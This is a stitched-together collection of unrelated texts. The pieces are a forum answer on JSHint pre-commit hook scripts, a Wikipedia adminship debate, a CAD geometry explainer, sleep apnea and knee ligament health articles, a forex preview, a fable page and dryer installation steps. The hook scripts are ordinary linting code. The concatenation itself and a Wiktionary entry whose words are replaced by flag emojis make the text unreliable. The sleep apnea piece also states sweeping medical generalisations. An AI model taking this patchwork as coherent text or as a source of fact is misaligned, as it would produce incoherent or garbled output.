Next create a .jshintrc file in your project if you don't already have one. e.g: https://github.com/nelsonic/learn-jshint/blob/master/.jshintrc
Now install pre-commit module (and save it as a dev dependency):
npm install pre-commit --save-dev
Next you will need to define the task (script) that will be run for JSHint in your package.json
e.g:
{ "scripts": { "jshint": "jshint -c .jshintrc --exclude-path .gitignore ." } }
then you register the scripts you want to be run pre-commit (also in package.json) e.g:
"pre-commit": [ "jshint", "coverage", "etc" ]
This allows you to have more than just one check in your pre-commit workflow. (We have checks to ensure team members code complies with JSHint, Code Style and Test Coverage is 100%)
For a more detailed tutorial you can share with your team see: https://github.com/nelsonic/learn-pre-commit
Some changes to @James Allardice script to accommodate JSHint. Thanks for the original code.
#!/bin/sh
#
# Run JSHint validation before commit.
files=$(git diff --cached --name-only --diff-filter=ACMR -- *.js **/*.js)
pass=true
if [ "$files" != "" ]; then
for file in ${files}; do
result=$(jshint ${file})
if [ "$result" != "" ]; then
echo "$result"
echo "\n"
pass=false
fi
done
fi
if $pass; then
exit 0
else
echo ""
echo "COMMIT FAILED:"
echo "Some JavaScript files are invalid. Please fix errors and try committing again."
exit 1
fi
A similar script to the @igor's one with some improvements:
• color indicators
• no --diff-filter, grep used insead
• help message (git style) to avoid pre-commit call
#!/bin/sh
#
# Run JSHint validation before commit.
RED='\033[0;31m'
REDBOLD='\033[1;31m'
ORANGE='\033[0;33m'
NC='\033[0m' # No Color
files=$(git diff --cached --name-only | grep .js)
pass=true
totalErrors=0
if [ "$files" != "" ]; then
for file in ${files}; do
result=$(jshint ${file})
if [ "$result" != "" ]; then
echo "${RED}$result${NC}"
pass=false
totalErrors=$((totalErrors+1))
fi
echo ""
done
fi
if $pass; then
exit 0
else
echo "${ORANGE}===== ${totalErrors} JSHint Error${NC}"
echo ""
echo "${REDBOLD}COMMIT FAILED: Some JavaScript files are invalid. Please fix errors and try committing again.${NC}"
echo ""
echo " (use -n option \"git commit -n -m <message>\" to avoid call pre-commit hook and JSHint check)"
echo ""
exit 1
fi
• Looks nice! :) This is *nix only though. – igor Apr 27 '17 at 13:33
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Wikipedia:Requests for adminship/EvanProdromou
* The following discussion is preserved as an archive of a successful request for adminship. Please do not modify it.
EvanProdromou
final (26/8/2) ending 20:25 13 December 2005 (UTC)
– I have been a Wikipedia contributor since October of 2002. I have started several pages almost complete (Abraham Lincoln Brigade, Jacques Marquette, Barbary Wars, Lollapalooza, Palo Duro Canyon, Arkansas River come to mind immediately) and proposed a few style guidelines (e.g. Avoid weasel terms and avoid peacock terms). I'm also a Mediawiki developer with CVS access. My main interest is Wikitravel, which I co-founded in 2003, but I'd like to have admin status here to be more involved in Wikipedia. ESP 19:40, 6 December 2005 (UTC)
* Candidate, please indicate acceptance of the nomination here: Yes. ESP 20:10, 6 December 2005 (UTC)
Support
* 1) Support ummmmm yeah!Gator (talk) 20:34, 6 December 2005 (UTC)
* 2) Support. BD2412 T 20:45, 6 December 2005 (UTC)
* 3) Support per BDA below. [[Image:Flag_of_Europe_and_Austria.svg|20px]] ナイトスタリオン ✉ 21:11, 6 December 2005 (UTC)
* 4) Oran e (t) (c) (e-mail) 21:31, 6 December 2005 (UTC)
* 5) File Éireann 01:39, 7 December 2005 (UTC)
* 6) Support, unlikely to abuse admin tools. Christopher Parham (talk) 02:07, 7 December 2005 (UTC)
* 7) Support. For friends of gays only, if for nothing else. ;) Matt Yeager 05:06, 7 December 2005 (UTC)
* 8) Support. Consistent activity over a long time. Highly involved in the project despite low edit count (he's a developer people!) -- Rune Welsh | ταλκ | Esperanza 13:46, 7 December 2005 (UTC)
* 9) Yes, please - not obviously unhinged. Lupin|talk|popups 22:34, 7 December 2005 (UTC)
* 10) Support. Excellent answer to my question, deserves credit for having been here a long time. After three years as a Wiki-holic, it's ok -- probably healthy -- for one's edit count to drop. Xoloz 04:38, 8 December 2005 (UTC)
* 11) Support The use of the edit summarys is very good, I changed my vote based upon the fact that this user has been here for so long and is still here making edits. I've been here for just a few months and I've had small lulls in activity before. Knowledge Of Self | talk 05:10, 8 December 2005 (UTC)
* 12) Support. A trusted user who has been around for a while. It can't hurt to give him admin powers. --NormanEinstein 13:58, 8 December 2005 (UTC)
* 13) Support. He's clearly established his trustworthiness. Chick Bowen 16:25, 8 December 2005 (UTC)
* 14) Support. The length of time you have been here is a testimony to your dedication to this project. Just remember edit summaries. --Martin Osterman 00:27, 9 December 2005 (UTC)
* 15) Support. —Guanaco 03:35, 9 December 2005 (UTC)
* 16) Support, very experienced user. Grue 09:03, 9 December 2005 (UTC)
* 17) Support ∾ Obviously understands Wikipedia policy, to the point of creating pages two years ago which were accepted as guidelines and are still widely cited today. Obviously experienced in Wikipedia administration as a consequence of his creation and subsequent maintenance of Wikitravel. Trustworthiness obviously established. Obviously not a May-December romance with Wikipedia; he's in it for the long haul. Will obviously be an asset to Wikipedia itself if given the mop and bucket. I'm croggled that people are actually debating the frequency of his edits given all of the foregoing. → Ξxtreme Unction {yak ł blah } 11:12, 9 December 2005 (UTC)
* 18) Support low activity is of some concern, but there is zero evidence of bad activity; hence my vote to support.--MONGO 03:16, 10 December 2005 (UTC)
* 19) Strong support as a long-term, reliable contributor. You definitely seem like the type of person who is intelligent enough to familiarize themselves with policy before using it. silsor 18:09, 11 December 2005 (UTC)
* 20) Support. El_C 04:39, 12 December 2005 (UTC)
* 21) Strong support per Extreme Unction. I am croggled, too, though I had to look it up to be sure. There is absolutely no reason to think he will misuse the tools. The focus on recent edits of a consistent long term user makes no sense to me. -- DS1953 04:42, 12 December 2005 (UTC)
* 22) Support. I thought he was a developer already, and he is, which tells me he is quite involved in Wikipedia, just in different areas that I don't frequent. Tito xd (?!? - did you read this?) 05:36, 12 December 2005 (UTC)
* 23) Support I think I was a bit hasty in my formation of my initial opinion. I think this user would make a good admin and really help wikipedia. -- malo (tlk) (cntrbtns) 05:55, 12 December 2005 (UTC)
* 24) Support of course. Been around longer than most anyone. Low edit counts are reasons against only when it implies newbie-ness, which is obviously not the case here. BTW, his answer to the IAR question should be enshrined in the rule itself. — Asbestos | Talk (RFC) 21:38, 12 December 2005 (UTC)
* 25) Support. Low edit rate is not a reason to deny adminship. —Simetrical (talk) 22:31, 12 December 2005 (UTC)
* 26) Support. If we trust him to work on the software, we should trust him with the content. howcheng [ t • c • w • e ] 23:04, 12 December 2005 (UTC)
Oppose
* 1) Oppose Fewer that 200 edits in the last year shows you're barely involved in Wikipedia at all. Additionally, the coverage of your edits over that period misses a lot of the important matters that are the meat of an admin's enhanced role - warning vandals, AfD, copyvio - there's little evidence that you're properly up-to-speed with the rules and mores of Wikipedia as they stand to day (and evidence that you aren't). There's no need for someone to be an admin to be more involved. -- Finlay McWalter | Talk 20:53, 6 December 2005 (UTC)
* The evidence cited is from March - for me, that's just too far removed for me to consider relevant. Also, this editor may participate lightly, but he has also done so fairly consistently since July of 2003, which speaks to me of someone who is in it for the long haul. BD2412 T 21:04, 6 December 2005 (UTC)
* 1) Oppose Low activity. ^ <200 edits in last year... Olorin28 00:42, 7 December 2005 (UTC)
* Although I take no position at this time on EvanProdromou's application for adminship, I must dissent from this reasoning. If a user has been active for a year, and has contributed slowly but steadily with no disruptive activity, I do not see why the low edit count is an argument against adminship. Adminship is supposed to be no big deal. We don't need to restrict it to "Wikipedia junkies"; more part-time admins would, in my opinion, actually be a positive good. It's not like we have a limited number of adminships to hand out; it's just a flag in the user profile. Crotalus horridus 14:15, 7 December 2005 (UTC)
* Oppose I'd like to see more activity in your recent contributions, but also I'd like to see you using edit summaries everytime. -- malo (tlk) (cntrbtns) 04:18, 7 December 2005 (UTC) I have changed my vote to Support, see above. -- malo (tlk) (cntrbtns) 05:55, 12 December 2005 (UTC)
* 1) Oppose due to edit summaries and low activity.—thames 15:59, 7 December 2005 (UTC)
* 2) Oppose Not a lot of recent activity, though if your new activity continues would probally support next time; several vandal reverts, but not followed by User talk messages or warnings needed for dealing with repeat vandals. You want to work on tricky technical parts of wikipedia, but failry low or nonexistent edits regarding categories,templates, and/or their discussions. xaosflux T/C 04:21, 8 December 2005 (UTC)
* 3) Oppose per lack of activity. Radiant_ >|< 16:49, 10 December 2005 (UTC)
* 4) Oppose lack of activity. --Jaranda wat's sup 21:45, 10 December 2005 (UTC)
* 5) Oppose although user shows experience with old policy and guidelines, alot has changed over time... low recent edit count would definately cause a lack of familiarity with modern policies/guidelines. Perhaps if activity level increased I would support in the future. As for now... I must oppose. ALKIVAR ™Radioactivity symbol.png 10:05, 11 December 2005 (UTC)
* 6) Oppose, lack of activity in last year. HGB 01:54, 13 December 2005 (UTC)
Neutral Comments
* 1) Neutral You use edit summaries on many of your edits, but not all of them, and although i don't usually base judgements on edit counts, only 200 edits in a year indicates a fairly low level of participation. Also, sort of like Finlay McWalter said, i think the way it works is that you get involved in Wikipedia and then you get admin status, not the other way around.--Alhutch 23:22, 6 December 2005 (UTC)
* 2) Neutral Not sure yet. --Merovingian 00:49, 8 December 2005 (UTC)
* Neutral This is a difficult one. I might change my vote after a more careful look at the last 200 edits. Change to support see above. Knowledge Of Self | talk 05:10, 8 December 2005 (UTC)
* In response to problems with my low edit count for the last year: if you're looking for a certain kind of administrator, it's a valid concern. However, I think I can make up in consistency and longevity what I lack in intensity. As has been pointed out, I've been a contributor since October 2002 and a consistent contributor since summer of 2003. It is quite unlikely that I will get burnt out on Wikipedia; I think I've shown that I'll be participating at this time next year, and the year after, and the year after that. --ESP 16:50, 7 December 2005 (UTC)
* New question posted. Xoloz 21:44, 7 December 2005 (UTC)
Questions for the candidate
A few generic questions to provide guidance for voters:
* 1. What sysop chores, if any, would you anticipate helping with? Please check out Category:Wikipedia backlog, and read the page about administrators and the administrators' reading list.
* A. I'm especially interested in understanding and participating in the trickiest social and technical problems in Wikipedia: managing conflicts, workarounds for database issues, dealing with new vandalism and spamming techniques, I think that Wikipedia is leading the wiki world in dealing with a massive, public, open community, and I'd like to learn first-hand about those solutions. In addition, bugs and feature requests often come from en: Wikipedia first, so it's worthwhile for me from a developer's point of view to be involved in those processes.
* 2. Of your articles or contributions to Wikipedia, are there any about which you are particularly pleased, and why?
* A. I've particularly enjoyed adding articles about American history and geography. I particularly liked Thomas Hart Benton (senator) and Thomas Hart Benton (painter), as well as the First Barbary War and Second Barbary War. I also like subjects that have personal connections, such as Citroën DS (I drive a DS) or Nobel laureate Owen Chamberlain as he was one of my favorite professors at Berkeley. I've also liked the two style guidelines listed above, which I think have helped a lot of people think more about writing style in Wikipedia (either positively or negatively). For better or worse my best-known contribution has been meta:Friends of gays should not be allowed to edit articles.
* 3. Have you been in any conflicts over editing in the past or do you feel other users have caused you stress? How have you dealt with it and how will you deal with it in the future?
* A. I can't think of any remarkable conflicts I've been involved in. I'm a strong believer that steering discussion to objective facts rather than subjective judgements can cool tempers and keep Wikipedians working together. I also think that stepping away from an issue in Wikipedia that gets your dander up is probably the best course of action. If you're right in the conflict, the community will help correct the issue; if you're not, you probably shouldn't be fighting so hard, anyways.
* 4. You are a veteran Wikipedian. Some veterans take an expansive view of the applicability of WP:IAR. What is your view of WP:IAR, used as a justification for administrative action?
* A. I think that ignoring rules and experimentation are really crucial for new users. I think they need to feel the excitement of getting started on this project -- the thrill of the frontier -- without getting too bogged down in feeling bad about doing some teensy ritual slightly wrong. I think rules should be something that users discover for themselves ("You know, it'd be good to have a standard way to format Japanese names... oh, look! Someone's already thought of that! Great!") and that they should never be something that the Old Guard uses to show off their power.
* For administrative actions... well. I can see emergency cases where an admin needs to step outside the rules for the greater good of the project. A hostile distributed bot using a previously unknown 'sploit... maybe. But I think admins need to set a good example for everyone else -- with a greater set of functionality at their control, they need to show more responsibility. Considering how absolutely easy it is to change rules on Wikipedia if the need arises, I think that admins should take the time to document and discuss exceptions.
* The above discussion is preserved as an archive of the discussion. Please do not modify it. Subsequent comments should be made on the appropriate discussion page (such as the article's talk page. No further edits should be made to this page. | WIKI |
Three dimensional models are represented in different ways. Two methods SpinFire Ultimate uses are B-rep and Tessellation. There are advantages and disadvantages to each method of representation.
Definitions
Tessellation
Tessellation is the representation of a 3D object with a mesh of straight lines. These straight lines form geometric shapes. SpinFire Ultimate and other CAD formats use triangles. Surfaces are drawn quickly from tessellated data depending on the complexity of the surfaces. The more triangles that are needed the more information must be stored and retrieved and drawn. Curved surfaces increase the complexity.
Imagine representing a simple cube with a set of triangles. Perhaps you would simply need two triangles per side requiring you to only need to draw 2 x 6 triangles. This is quick and simple.
Now imagine representing a sphere with a set of triangles. With a handful, the sphere may look round-ish but would have obvious "dents" due to the straight lines and flat surfaces. Using more triangles would add more curvature and lessen the size of the flat surfaces. The more triangles added, the rounder the sphere appears.
The number of triangles also plays into the precision of measurements of the model. Imagine calculating the surface area of the sphere represented on the left versus the one on the right.
B-rep
B-rep is the common name for Boundary Representation. B-rep represents models with precise geometry and boundary topology.
This allows complex shapes to be represented precisely which helps
• combining shapes,
• measuring physical properties with accuracy, and
• smaller file representation.
When SpinFire Ultimate renders B-rep models, it must convert the models to some tessellated representation resulting in slight performance hits.
For the above sphere example, B-rep would need a center point and a radius stored to represent it. However, to render it on screen would be slightly longer due to the conversion.
The main difference is that due to precise mathematical representation, calculations such as volume, surface area, curvature, edge length etc... will be more accurate compared to using the tessellated data. Actify uses B-rep in several measurements now in SpinFire.
File Types
Some native CAD file formats support B-rep others do not. SpinFire Ultimate offers the following support based on the native format's support of B-rep and Actify's ability to import B-rep.
File FormatSupports B-rep
AutoCAD 3DS Max(error)
AutoCAD DWG(tick)
AutoCAD DXF(tick)
AutoCAD DWF(error)
ACIS (SAT)(tick)
Catia V4(tick)
Catia V5(tick)
Catia V6(tick)
Collada(error)
FBX(error)
gITF(error)
I-deas(tick)
IGES(tick)
IFC(error)
Inventor(tick)
JT(tick)
NX(tick)
Parasolid(tick)
3D PDF(tick)
PRC(tick)
Pro/Engineer & Creo Parametric(tick)
Revit(error)
Rhino(tick)
Solid Edge(tick)
SolidWorks(tick)
STEP(tick)
STL(error)
VDA-FS(tick)
U3D(error)
VRML(error)
Advantages and Disadvantages Summary
ActionTessellationB-rep
Accurate Measurements(error)(tick)
Smaller File Sizes for Complex Models(tick)(error)
Quick Rendering (displaying)(tick)(error) | ESSENTIALAI-STEM |
Sleep Apnea (Sleep Disorder): Causes, Symptoms, Treatment
• 1.70K
• 7 months ago
Dr. Raman Abrol
ENT Specialist / otorhinolaryngology
Sleep Apnea (Sleep Disorder): Causes, Symptoms, Treatment
In this video SimpliHealth expert Dr. Raman Abrol is discussing a very common problem seen in people called sleep apnea syndrome(Sleep Disorder). In sleep apnea (स्लीप एपनिया), the breathing of the patient while sleeping stops and starts repeatedly. And this disruption can affect the patient’s sleep. So this is called sleep apnea syndrome
Types of Sleep Disorder
There are three types of sleep apnea or Sleep Disorder. The one that is from the ENT point of view is Obstructive sleep apnea (ऑब्सट्रक्टिव स्लीप एपनिया) syndrome. The other two types of sleep apnea syndromes (स्लीप एपनिया) are
1. Central
2. Mixed
In central sleep apnea syndrome, the cause is found to be some issue in the brain. And mix has found both the causes.
In my field of work, what we see is mostly obstructive sleep apnea syndrome. I would not list down the common symptoms. All the patients are mainly obese or grossly overweight. Due to being extremely overweight, these patients have disruptive breathing and throat problems as their breathing passage narrows. There is an obstruction in their breathing passage that has to be found.
Symptoms of sleep apnea or sleep disorder
The symptoms are:
1. Loud snoring, which is disturbing for the family or neighbors. These loud snorings are called heroic snoring.
2. These patients have a restless sleep, they keep twisting and turning, and their legs keep shaking.
3. The third symptom is daytime sleepingness. These patients have a tendency to feel sleepy during the daytime. This is so serious that some patients may even sleep at the red light while driving. This problem becomes so severe as to cause road accidents, especially on highways. Therefore these patients are taken the most seriously and diagnosed as soon as possible.
Causes of sleep apnea
The most important diagnosis in these patients is to find the cause of obstruction. Many times more than 50-60% of times the obstruction is found to be in the nose, which can be polyps, tumor, bone deviation, allergic changes, blocked nose, etc.
The second cause of this could be a very thick bulky tissue inside the throat. Which includes palettes, or the tonsils being too big, a large tongue. So when the patient is sleeping all these tissues fall into the breathing passage causing the blockage. The passage between the mouth and the nose and the throat is tight in these patients.
Obesity is one of the main causes, but more important than this is smoking. This problem is seen mostly in smokers. The majority of sleep apnea patients are smokers.
Test for sleep apnea
In these patients, as I said before, we try to find the cause of obstruction, for which we perform an endoscopy. We even do MRIs on patients while they sleep so that we can monitor all the changes happening during breathing.
The third investigation that happens in all the patients with sleep apnea is called a sleep study. Technically it is called polysomnography. This test is done in hospitals and labs. For this, wires are fixed on the patient’s chest. Then all the parameters are evaluated, like oxygen levels, pulse, BP, oxygen level while changing sides, EG, ENG, brain staging of sleep, etc. all these things are evaluated overnight. The data is stored and analyzed to find the extent of disease in the patient.
Treatment for Sleep Apnea
There are grades in sleep apnea syndrome- Mild, Moderate, and Severe. In mild to moderate patients, we can do many things that are possible to treat them. Weight loss, active exercise, surgeries to open up the passage, all things that can help.
Patients with higher values in the sleep study are straight away put on CPAP therapy. It is a breathing machine with a mask that forces the air in through the nose and the throat.
Mild and moderate patients can also use the CPAP machine. There is a mass reluctance about putting on a mask and sleeping, so in that case, we offer surgery or other measures. But in severe sleep apnea patients surgeries or any other method is not successful, so CPAP therapy is the only treatment for them.
If we don’t treat them, what happens?
The patient lacks oxygen supply in the brain, at night when they have breathing problems. When the brain is not getting enough oxygen, it is awakened. And when the brain is awake it forces the heart to pump more blood for oxygen to reach the brain. And as a result, most patients have cardiac diseases as well. They can suffer from blood pressure, heart blocks, cardiac arrest because the workload on the heart is much more than it is used to.
Because of the brain being awake these patients cannot go into a deep sleep. Deep sleep is required to have body and mind relaxation, which is a stage 4 sleep. The patient’s sleep stages can be evaluated in the sleep study that we conduct. So these patients who have severe problem do not go into deeper stages of sleep.
Their brain is awake, which is the cause of daytime sleepiness. This is the reason for people falling asleep while sitting, the low flow of oxygen to the brain.
Sleep Apnea Syndrome in Children.
This was obstructive sleep apnea syndrome in adults, but there is another important entity, sleep apnea syndrome in children. The most common cause for this is enlarged adenoid and tonsils. Children with excessive tonsils and large adenoid size snore and have mouth breathing problems and suffer from sleep apnea
Symptoms
Daytime sleepiness is not always the symptom of childhood sleep apnea, because children have much more capacity to absorb low oxygen. But overweight children or children with some syndrome can show daytime sleepiness and lack of attention as a symptom.
Treatment
Even in children, the treatment is the same, with surgery. The symptoms can go away by removing the adenoid tonsils. This is a grossly treatable disease in children. Some congenital abnormalities of the jaw of the child make the breathing passage narrow. These children require special surgery by plastic surgeons. The breathing passage is opened. It is a very detailed surgery and it needs multiple sittings.
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زمج
Etymology 1
From, compare 🇨🇬 known from the and metathetical 🇨🇬 and 🇨🇬 without the suffix from 🇨🇬. 🇨🇬,.
Noun
* 1) steppe eagle,
Etymology 2
From, compare 🇨🇬,. .
Noun
* 1) gum arabic
* 2) raisins | WIKI |
The Week Ahead: Monetary Policy in Focus, with the PBoC, BoJ, BoC, and the ECB in Action
FXEmpire.com -
On the Macro
It’s a busy week ahead on the economic calendar, with 47 stats to monitor. In the previous week, 63 stats had been in focus.
For the Dollar:
It’s a particularly quiet week ahead on the economic calendar.
With the U.S markets closed on Monday, the markets will need to wait until Wednesday for the first set of numbers.
December’s existing-home sales figures are due out on Wednesday, which will likely have a muted impact on the Dollar.
Existing home sales figures tend to be volatile due to inventories. There has been a pickup in real estate sector activity, supported by mortgage rates and labor market conditions. We can, therefore, expect the markets to be able to stomach any minor falls in the month.
On Thursday, the weekly jobless claims figures are due out, which will also have a muted impact on the Dollar, barring any jump above 220k.
Prelim private sector PMI numbers for January due out on Friday wraps things up. The service sector PMI will have the greatest impact on the day.
Outside of the numbers, geopolitics will remain in focus. With the impeachment trial expected to get underway, expect Trump to attempt to distract…
The Dollar Spot Index ended the week up by 0.26% to 97.606.
For the EUR:
It’s a busy week ahead on the economic data front.
Key stats include January’s ZEW Economic sentiment figures for Germany and the Eurozone, due out on Tuesday.
The focus will then shift to prelim January private sector PMI numbers due out on Friday.
While December PMI numbers showed some improvement, the figures were still unimpressive.
Friday’s numbers will need to show a slower contraction in the manufacturing sector and pickup in service sector activity.
The China Automobile Association Manufacturers’ outlook for the auto sector was not what the doctor orders last week. A further slowdown in demand for autos in China would add pressure on the manufacturing sector, and Germany’s in particular.
On Friday, Germany’s IFO Business Climate Index figures will also influence on the day.
On the monetary policy front, the ECB’s first monetary policy decision of the year is due on Thursday.
While the ECB is unlikely to make a move, the Lagarde press conference will garner plenty of attention…
In the week, ECB President Lagarde is also scheduled to speak late on Monday and on Friday afternoon.
Outside of the numbers, geopolitical risk will continue to influence as the markets look towards chatter on Brexit and news from the impeachment trial.
The EUR/USD ended the week down by 0.26% to $1.1092.
For the Pound:
It’s another relatively busy week ahead on the economic calendar. Employment figures are due out on Tuesday. Expect the wage growth and claimant count numbers to have the greatest impact.
With sentiment towards BoE monetary policy turning more dovish, another jump in claimant counts would turn the screw.
On Wednesday, the CBI Industrial Trend Order numbers for January will also influence. Expect weaker numbers to pressure the Pound further.
The focus will then shift to the all-important January prelim private sector PMI numbers due out on Friday. We would expect the service sector numbers to have the greatest impact. Forecasts are GBP negative…
Outside of the numbers, Brexit will continue to be the main area of focus. 11-days remain until Britain enters the transition period.
The GBP/USD ended the week down by 0.37% to $1.3016.
For the Loonie:
It’s a particularly busy week ahead on the economic calendar.
At the start of the week, manufacturing sales figures for November are due out. Another fall will pressure the Loonie early.
The focus will then shift to December inflation figures due out on Tuesday, which are due out ahead of the BoC’s first monetary policy decision of the year.
There have been plenty of disappointing numbers that would support a more dovish BoC statement. With the BoC expected to stand pat on policy, the press conference will likely have the greatest impact.
It remains to be seen whether better employment figures for December and the USMCA will give the BoC reason to maintain the status quo…
November retail sales figures due out on Friday wrap things up, with the numbers forecasted to be Loonie positive.
The Loonie ended the week down by 0.12% to C$1.3066 against the U.S Dollar.
Out of Asia
For the Aussie Dollar:
It’s a relatively quiet week ahead.
Key stats include consumer confidence figures due out on Wednesday and December employment numbers due out on Thursday.
While we expect both sets of numbers to influence, the employment figures will have the greatest impact.
The fires continue to burn in Australia and are expected to have a material impact on consumption and output.
Weak employment numbers will add further support to an RBA rate cut next month.
The Aussie Dollar ended the week down by 0.32% to $0.6879.
For the Kiwi Dollar:
It’s a quiet week ahead, with key stats limited to the 4th quarter inflation figures due out on Friday.
The markets are expecting the RBNZ to stand pat at the start of the year. Any dire numbers could question the outlook…
The Kiwi Dollar ended the week down by 0.24% to $0.6615.
For the Japanese Yen:
It’s a relatively busy week on the economic calendar. Key stats include December trade data due out on Thursday and inflation and private sector PMI figures due out on Friday.
Expect the trade and PMI figures to have the greatest influence in the week. While the phase 1 agreement is expected to ease pressure on trade terms, demand may be another issue altogether…
After all, it’s going to take some time for the effects of the phase 1 agreement to trickle through.
On the monetary policy front, the Bank of Japan will deliver its first policy decision of the year. Last week BoJ Governor Kuroda had assured the markets that the BoJ would act if required. Will the BoJ stand pat but raise the prospects of a move?
The Japanese Yen ended the week down by 0.63% to ¥110.14 against the U.S Dollar.
Out of China
It’s a quiet week on the economic data front. There are no material stats due out ahead of the Chinese NY Holidays.
With the phase 1 agreement signed, sealed and delivered, it now comes down to compliance and near-term impact on the economic indicators.
Tariffs remain and a full trade agreement is going to be needed to support extended growth.
On the policy front, the PBoC will deliver its loan prime rate decisions for January on Monday. Expect any easing to support riskier assets.
The Yuan ended the week up by 0.86% to CNY6.8598 against the Greenback.
Geo-Politics
Impeachment: Trump’s impeachment trial will be in full swing in the week. We can expect plenty of chatter, though the chances of being ousted from office remain slim to none.
Trade Wars: With the phase 1 trade agreement signed, the markets will be looking for some guidance on when phase 2 talks will commence. Will Trump look to distract the markets from the impeachment trial and find a new target?
UK Politics: It’s the week before Brexit. With Britain leaving the EU on 31st, it enters into an 11-month transition period and plenty of uncertainty. There are two ways to spin it, however. Swift progress in forming trade agreements with partners beyond EU borders should ease pressure on the Pound.
Iran and the Middle East: After the escalation and de-escalation, it was relatively quiet last week. It is not expected to remain so, however. Expect any chatter from Washington and Tehran to have a material impact on risk appetite.
Corporate Earnings
It’s a relatively busy week ahead on the corporate earnings calendar. From the U.S: Amex (Mon). Netflix (Tue). Lockheed Martin (Thurs), and Microsoft (Thurs) are amongst the big names scheduled to release in the week ahead.
This article was originally posted on FX Empire
More From FXEMPIRE:
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The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | NEWS-MULTISOURCE |
Wikipedia:Articles for deletion/Loudblast (2nd nomination)
The result was speedy keep. Nomination withdrawn. (non-admin closure) Sikonmina (talk) 10:06, 17 January 2022 (UTC)
Loudblast
AfDs for this article:
* – ( View AfD View log | edits since nomination)
The previous discussion hinged on Encyclopedia Metallum being a reliable source. It is not. Sikonmina (talk) 04:36, 16 January 2022 (UTC)
* Note: This discussion has been included in the list of Bands and musicians-related deletion discussions. CAPTAIN RAJU (T) 08:27, 16 January 2022 (UTC)
* Note: This discussion has been included in the list of France-related deletion discussions. CAPTAIN RAJU (T) 08:27, 16 January 2022 (UTC)
* From WP:NBAND:
* 1. Has been the subject of multiple, non-trivial, published works appearing in sources that are reliable, not self-published, and are independent of the musician or ensemble itself.
* 5. Has released two or more albums on a major record label or on one of the more important indie labels (i.e., an independent label with a history of more than a few years, and with a roster of performers, many of whom are independently notable).
* 7. Has become one of the most prominent representatives of a notable style or the most prominent of the local scene of a city; note that the subject must still meet all ordinary Wikipedia standards, including verifiability. Geschichte (talk) 20:03, 16 January 2022 (UTC)
* Keep. #5 above is probably met, with a prolific output on Listenable Records. #7 is met as being among the most important founding bands of death metal in France. For the latter claim, I just grab the first and best (and not the most optimal) reference which calls Loudblast, Massacra and Mercyless the "three pillars" of said scene: . Then for #1, here are three] reviews from Metal.de, and here is a batch of seven reviews from Rockhard.de - just some samples. Geschichte (talk) 20:11, 16 January 2022 (UTC)
| WIKI |
Page:Chinese Fables and Folk Stories.djvu/38
34 it is late, and you are welcome to stay overnight with us, if you do not hurt our children."
The big snail only laughed and answered, "This is very good honey. I have moved my family here. We will stay not only one night or two nights, but forever, and we will eat your honey for our food as long as it lasts."
The bee king said, "I will allow you to stay only one night here. You can not live in my house. You do no good thing to help. I am afraid even to let you stay one night. My honey may be all taken and the babies killed while we sleep to-night."
And he said to the wise old bees, "Do not sleep. We can not trust them." The next morning the wise bees came and told the king, "Thirty-five babies died last night. The snails crept all about our house and poisoned them. And they left much mouth-dirt in the honey so that we fear it will kill even man to eat it. We must drive them away, O king."
"One day more and if they do not go, we will do some other thing," said the bee king.
Then he went to talk to the snails again and said, "Friends, you are looking fat; I know you are satisfied here and like my honey, but why do you kill my people and why do you spoil our honey? I think I | WIKI |
Dryers Installation
A quick guide on best practices for installing your Bosch home appliances
Installation methods and measurements may vary from model to model – check the installation manual or consult your contractor for more details.
Exhaust outlets for vented dryers
*Please note that this is only applicable to vented dryers.
1. Condensation outlet
Condensation outlet
• If there is a high level of condensation in the exhaust air duct, it is advisable to fix a condensation collector (standard) or a drain hole with a diameter of approximately 3mm to the lowest part of the exhaust air duct.
• Outlets for the exhaust air duct are located at the back and left side panels of the dryer. Please note that this is only applicable to vented dryers.
2. Left side panel outlet
Left side panel connection
Step 1: The exhaust port on the left side panel is sealed with a removable cover.
Step 2: Twist the cover on the side panel in an anti-clockwise direction to loosen and remove it.
Step 3: Twist the bayonet ring on the back panel in an anti-clockwise direction to loosen and remove it. Attach the ring to the side panel exhaust port by turning it in a clockwise direction.
Step 4: Attach the panel cover to the back panel and twist in a clockwise direction to seal the exhaust port.
3. Back panel outlet
• The exhaust port on the back panel is open when the dryer is delivered (bayonet ring).
Installation options for the exhaust air duct
1. Through a wall into the open air
• Run the exhaust air duct in a way that ensures that the moist air expelled does not get drawn in by the dryer again.
• The duct should spread out with a 90 degree bend to prevent air backflow, with the end part of the duct facing downwards to the floor.
• The end section of the duct should not be more than 2.5m higher than the exhaust port on the appliance.
Example:
Pipe connection - inside diameter = 100mm, smooth
A = straight piece
B = curved pipe
C = straight piece
D = pipe elbow
E = telescopic wall box with grid
2. Through the open window
• Route the exhaust air directly into the open air via an exhaust air pipe through an open window.
Example:
Pipe connection - inside diameter = 100 mm, flexible pipe, corrugated
A = curved pipe
B = straight piece
C = curved pipe
D = straight piece
Installation of stacking kit
* This is applicable to both condenser and vented dryers.
1. Install the stacking kit
1. Locate the holes that need to be drilled into the washing machine for mounting the stacking kit.
2. Drill holes based on the markings made and secure the stacking kit on top of the washer with the screws.
2. Adjust the height of the appliance feet
1. Using the template provided, adjust the height of each foot of the dryer.
2. Remove the brackets on both sides of the stacking kit.
3. Stack the dryer on the washer
1. Place the dryer on top of the washing machine and slide in via the groove of the stacking kit.
2. Place back the brackets and secure with the screws provided
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The lateral collateral ligament (LCL) is the ligament located in the knee joint. Ligaments are thick, strong bands of tissue that connect bone to bone. The LCL runs along the outside of the knee joint, from the outside of the bottom of the thighbone (femur) to the top of the lower-leg bone (fibula). The LCL helps keep the knee joint stable, especially the outer aspect of the joint.
An injury to the LCL could include straining, spraining, and partially or completely tearing any part of that ligament. According to Orthogate, the LCL is one of the more commonly injured ligaments in the knee. Because of the location of the LCL, it’s common to injure the LCL along with other ligaments in the knee.
The main cause of LCL injuries is direct-force trauma to the inside of the knee. This puts pressure on the outside of the knee and causes the LCL to stretch or tear.
Symptoms of an LCL injury can be mild or severe, depending on the severity of the sprain or if it’s torn. If the ligament is mildly sprained, you may not have any symptoms at all. For a partial tear or complete tear of the ligament, your symptoms may include:
• swelling of the knee (especially the outer aspect)
• stiffness of the knee joint that can cause locking of the knee
• pain or soreness on the outside of the knee
• instability of the knee joint (feeling like it’s going to give out)
To diagnose an LCL injury, your doctor will examine your knee and look for swelling. They’ll also move your knee in various directions to determine where your pain is and how severe your symptoms are.
